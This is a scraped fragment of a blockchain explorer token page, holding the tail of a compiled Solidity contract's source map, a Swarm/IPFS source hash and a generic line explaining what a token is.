-1:-1:-1;;;13816:806:1:o;14627:140::-;14685:5;14714:47;14755:4;14745:8;14741:19;14735:4;14714:47;:::i;14772:168::-;14812:7;14878:1;14874;14870:6;14866:14;14863:1;14860:21;14855:1;14848:9;14841:17;14837:45;14834:71;;;14885:18;;:::i;:::-;-1:-1:-1;14925:9:1;;14772:168::o;16022:217::-;16062:1;16088;16078:132;;16132:10;16127:3;16123:20;16120:1;16113:31;16167:4;16164:1;16157:15;16195:4;16192:1;16185:15;16078:132;-1:-1:-1;16224:9:1;;16022:217::o;16244:340::-;16446:2;16428:21;;;16485:2;16465:18;;;16458:30;-1:-1:-1;;;16519:2:1;16504:18;;16497:46;16575:2;16560:18;;16244:340::o;16589:184::-;16659:6;16712:2;16700:9;16691:7;16687:23;16683:32;16680:52;;;16728:1;16725;16718:12;16680:52;-1:-1:-1;16751:16:1;;16589:184;-1:-1:-1;16589:184:1:o;17057:245::-;17124:6;17177:2;17165:9;17156:7;17152:23;17148:32;17145:52;;;17193:1;17190;17183:12;17145:52;17225:9;17219:16;17244:28;17266:5;17244:28;:::i;18213:607::-;-1:-1:-1;;;;;18572:15:1;;;18554:34;;18619:2;18604:18;;18597:34;;;;18662:2;18647:18;;18640:34;;;;18705:2;18690:18;;18683:34;;;;18754:15;;;18748:3;18733:19;;18726:44;18534:3;18786:19;;18779:35;;;;18503:3;18488:19;;18213:607::o;20745:135::-;20784:3;-1:-1:-1;;20805:17:1;;20802:43;;;20825:18;;:::i;:::-;-1:-1:-1;20872:1:1;20861:13;;20745:135::o;24109:127::-;24170:10;24165:3;24161:20;24158:1;24151:31;24201:4;24198:1;24191:15;24225:4;24222:1;24215:15;24241:582;24540:6;24529:9;24522:25;24583:6;24578:2;24567:9;24563:18;24556:34;24626:3;24621:2;24610:9;24606:18;24599:31;24503:4;24647:57;24699:3;24688:9;24684:19;24676:6;24647:57;:::i;:::-;-1:-1:-1;;;;;24740:32:1;;;;24735:2;24720:18;;24713:60;-1:-1:-1;24804:3:1;24789:19;24782:35;24639:65;24241:582;-1:-1:-1;;;24241:582:1:o;24828:306::-;24916:6;24924;24932;24985:2;24973:9;24964:7;24960:23;24956:32;24953:52;;;25001:1;24998;24991:12;24953:52;25030:9;25024:16;25014:26;;25080:2;25069:9;25065:18;25059:25;25049:35;;25124:2;25113:9;25109:18;25103:25;25093:35;;24828:306;;;;;:::o

Swarm Source

ipfs://4cf0f208115d710f4d53109afe1e82201cad1812b72b860db339a7d100a7a443
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.